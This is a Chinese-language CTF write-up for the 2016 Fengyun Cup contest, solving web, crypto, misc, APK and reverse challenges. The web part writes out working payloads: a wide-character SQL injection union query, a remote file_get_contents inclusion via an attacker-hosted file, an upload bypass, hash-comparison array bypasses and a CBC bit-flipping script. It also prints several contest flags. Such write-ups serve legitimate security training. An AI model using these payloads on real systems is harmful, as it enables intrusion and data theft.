2016風雲杯大學生信安大賽
好吧第二次正式打CTF,雖然這次的題比較簡單,而且大部分強隊都去打whctf去了,最後10分鐘直接從第四掉到第七,也沒辦法,實力不夠,繼續練吧,貼個圖紀念一下。整體看這次的web還是比較中規中矩的,沒有過分的腦洞。自己也犯蠢了,以爲web做完了,結果最後才發現web 07
沒有做真是嗶了狗了。。
web 01
代碼如下:
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){
die('key: '.$key);
}
?>
一個正則匹配
payload如下
http://219.146.15.116/4t56ysgh6h7u/?id=keykeykeykeykeykeykey:/a/aakeya:]
得到最後的flag
web 02
烏雲上的一個漏洞,http://www.wooyun.org/bugs/wooyun-2015-0125982。
把multipart/form-data
變換一下大小寫,然後把Content-Type
換成隨便一個圖片格式就行了,沒截圖,記得flag是這個
KEY{bb9935dc12397882af23rghjwe3820ea2b678}
web 03
代碼如下:
<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";
echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
一道簡單的審計題,根據file_get_contents可以遠程打開文件的特性,在你的vps或是別的什麼上放一個1.txt
,內容是1234
,然後就可以了,payload如下:
http://139.129.166.67/gth56u778i8/?filename=http://xxxxxxxxxxxxxxx/1.txt&dpc=1234
web 04
根據提示,要POST一個username
和password
,還要二者的md5值相同,那麼最後果斷構造如下:
username=240610708&password=QNKCDZO
不對。再試試這個
username[]=240610708&password[]=QNKCDZO
對了,然後提示說不是admin,看看cookie,果斷改一下就可以了,一個base64,
所以最後的payload如下圖:
web 05
通過備份文件~
看到源碼如下:
<?php
$_GET['myid'] = urldecode($_GET['myid']);
$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {
if ($_GET['name'] == $_POST['password'])
print 'Your password can not be your name.';
else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
直接用數組繞過就可以了
payload如下:
得到flag
web 06
mysql寬字符注入,沒有別的過濾,直接構造聯合查詢從系統表information_schema
裏面爆出表名和列名,這裏注意下編碼的轉換就行了,別的沒有什麼坑點,該數據庫下面有兩個表article,flag
,flag
表裏有兩個字段id,thisisflag
,最後給個payload
http://139.129.166.67/5t5y6huj7j7/index.php?id=1%c0' and 1=2 union select 1,convert(group_concat(thisisflag) using gbk) from flag--+
然後的得到flag
。
web 08
一道CBC字節翻轉攻擊,給個鏈接:http://drops.wooyun.org/tips/7828
根據文章寫POC,代碼如下:
<?php
//1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123
$enc = "9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig=";
$enc = base64_decode($enc);
echo "<br>".($enc)."<br>";
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
echo "<br>".($enc)."<br>";
$c = base64_encode($enc);
$d = urlencode($c);
echo "Plaintext after attack : <br>$c<br>";
echo "Plaintext after attack : <br>$d<br>";
?>
得到如下:
即
9pzE4775q38%2BwGl%2FFqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2JwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig%3D
然後修改cookie直接提交,即獲得flag
web 09
這道題一開始就跳轉到了這裏
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
出現一堆沒用的東西,對file
解碼是key.txt,換成index.php
後發現,這裏存在任意代碼讀取,不斷修改line的值得到index.php
完整代碼如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){
$file_list[2]='thisis_key.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然後審計下構造如下請求:
於是得到flag是KEY{key_anyuntec_co0kies}
。
CRYPTO 01
一道培根加密,
原文是
woUld you prEfeR SausaGes or bacoN wiTH YouR EgG?
換過來變成
aabaa aaaaa baabb aaaab aaaaa aaaba abbba abbab
百度百科裏的第一個表,換成答案就是
eatbacon
misc 01
winhex打開得到的JPG圖片,在文件exif發現一串可疑字符ZmxhZ3tsdW9fcm9vbX0,加上=base64解碼後得到
flag{luo_room}
misc 02
解壓後得到jpg圖像,從圖像的文件結尾後摳出了一個zip壓縮包,判斷了一下不是僞加密,根據提示銀行卡密碼,用工具暴力破了一下,得到了文件密碼,解壓後得到了flag.txt
KEY{luffy_and_jet}
misc 03
解壓後得到一張jpg,用winhex看了一下頭部 直接得到flag···什麼鬼···
misc 06
觀察了一下數據包,是ftp傳輸,有幾個包特別顯眼如下:
把他們都用winhex摳出來,data3是一個帶加密的zip文件,data5說社社會工程學說,很多用戶習慣於用一樣的密碼。試了一下其他幾個data中的密碼都不對,重新去觀察數據包,觀察到下圖中的包:
得到密碼whoami127.0.0.1,嘗試解壓,成功!得到KEY{351d5ead1ca31ed33deb6f6a3111e117}
apk 01
打開zip文件發現需要密碼,立馬反應到這是僞加密
爲了偷懶把他的加密位用網上的腳本將一改成零即可
apk變成普通的apk後再按正常步驟:
在AndroidManifest.xml
文件中可以發現
//KEY{f2b0590b558a08514e1c497d400d08ba}
apk 03
這哈哈都寫出來了,明顯是忽悠人的。。。
在FlagActivity
裏能看到
int[] arrayOfInt = { 75, 69, 89, 123, 97, 119, 52, 110, 110, 52, 95, 107, 52, 114, 95, 109, 120, 95, 100, 51, 120, 125 };
ascii碼轉換一下就是答案
KEY{aw4nn4_k4r_mx_d3x}
apk 04
函數有點多,看着有點蛋疼,全都看一遍就好了,其實並不難。
純分析的話不用寫一行代碼就能做出這道題,下面我把我分析的步驟都寫出來,具體分析步驟如下
在uc
這個class裏比較顯眼
public static String nj = "XRL}D6hy4yfE7tuF6{";
這個太扎眼了,一眼就能看出來
因爲看過前面的函數有印象:
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
兩個大括號反過來了就是因爲這裏的
else
c = (char)(j ^ 0x6);
else就是除了數字和字母之外的字符
和0x6
異或剛好就把最低位反過來然後括號反過來了
然後調用函數的時候:
uc.bh(cc.encrypt(str1), ca.encrypt(str1), cb.encode(str1));
之後:
public static boolean bh(String paramString1, String paramString2, String paramString3)
{
String str = paramString1 + paramString2 + paramString3;
可見他用了三個函數,但是因爲前面分析的括號可知研究第一個加密函數就可以了
public static String encrypt(String paramString)
{
String str = "";
int i = 0;
if (i >= paramString.length())
return str;
int j = paramString.charAt(i);
char c;
if ((j >= 97) && (j <= 109))
c = (char)(j + 13);
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
}
這個函數的意思一看便懂:上半邊字母表和下半邊字母表對換
數字的話異或一下,還原出來就是:
XRL}D6hy4yfE7tuF6{ -->
KEY{Q1ul3lsR0ghS1}
re 01
首先通過PEID查看,發現是upx殼,在機脫失敗後,直接採取手脫,到達程序入口。
發現本題是簡單的字符串比較,並不存在什麼難點
得到flag。
re 03
加載進OD觀察下,發現沒有加殼,需要輸入用戶名和密碼:
兩個對於長度有一些限制,用戶名可以直接得到
對於密碼則採用了異或比較的方式:
寫個腳本模擬一下:
得到結果:
McDull@Aun
YuyuMyl@ve!
re 04
用od加載發現有反調試,於是用ida加載進來,觀察了一下函數的基本結構。
主體就是簡單的for循環,在特定時候調用輸出函數,所以我們只要模擬下就行了。
#include"stdio.h"
__int8 byte_40336D,byte_40336F,byte_40336E,byte_40336C;
int sub_401920()
{
return printf(
"%c%c%c%c",
(unsigned __int8)byte_40336D,
(unsigned __int8)byte_40336F,
(unsigned __int8)byte_40336E,
(unsigned __int8)byte_40336C);
}
int __cdecl sub_401960(int a1)
{
signed int v2; // [sp+0h] [bp-10h]@5
signed int v3; // [sp+4h] [bp-Ch]@7
signed int v4; // [sp+8h] [bp-8h]@3
signed int v5; // [sp+Ch] [bp-4h]@1
byte_40336D = *(__int8 *)a1;
byte_40336F = *(__int8 *)(a1 + 1);
byte_40336E = *(__int8 *)(a1 + 2);
byte_40336C = *(__int8 *)(a1 + 3);
v5 = 5;
do
{
byte_40336D += v5;
byte_40336D ^= 3u;
--v5;
}
while ( v5 );
v4 = 4;
do
{
byte_40336F += v4;
byte_40336F ^= 4u;
--v4;
}
while ( v4 );
v2 = 3;
do
{
byte_40336E += v2;
byte_40336E ^= 5u;
--v2;
}
while ( v2 );
v3 = 2;
do
{
byte_40336C += v3;
byte_40336C ^= 6u;
--v3;
}
while ( v3 );
return 0;
}
int __cdecl sub_401A70(int a1)
{
int result; // eax@1
unsigned int l; // [sp+0h] [bp-1Ch]@7
unsigned int k; // [sp+4h] [bp-18h]@5
unsigned int i; // [sp+8h] [bp-14h]@1
char v5; // [sp+Ch] [bp-10h]@9
char v6; // [sp+Dh] [bp-Fh]@9
char v7; // [sp+Eh] [bp-Eh]@9
char v8; // [sp+Fh] [bp-Dh]@9
unsigned int j; // [sp+10h] [bp-Ch]@3
int v10; // [sp+14h] [bp-8h]@1
int v11; // [sp+18h] [bp-4h]@1
v10 = 0;
v11 = 0;
for ( i = 0; i <= 0xFF; ++i )
{
printf("^");
for ( j = 0; j <= 0xFF; ++j )
{
for ( k = 0; k <= 0xFF; ++k )
{
for ( l = 0; l <= 0xFF; ++l )
{
++v10;
v5 = j;
v6 = i;
v7 = l;
v8 = k;
char arry[4];
arry[0]=v5;
arry[1]=v6;
arry[2]=v7;
arry[3]=v8;
if ( v10 == a1 )
{
sub_401960((int)arry);
sub_401920();
}
}
}
}
result = i + 1;
}
return result;
}
int __cdecl main()
{
sub_401A70(1147021405);
sub_401A70(942305638);
sub_401A70(493974365);
sub_401A70(942764337);
printf("\n不是這裏 ..什麼也沒有 \n");
return 0;
}
模擬結果如下,得到答案:
flag:jN_+6Bnp?_rGB;p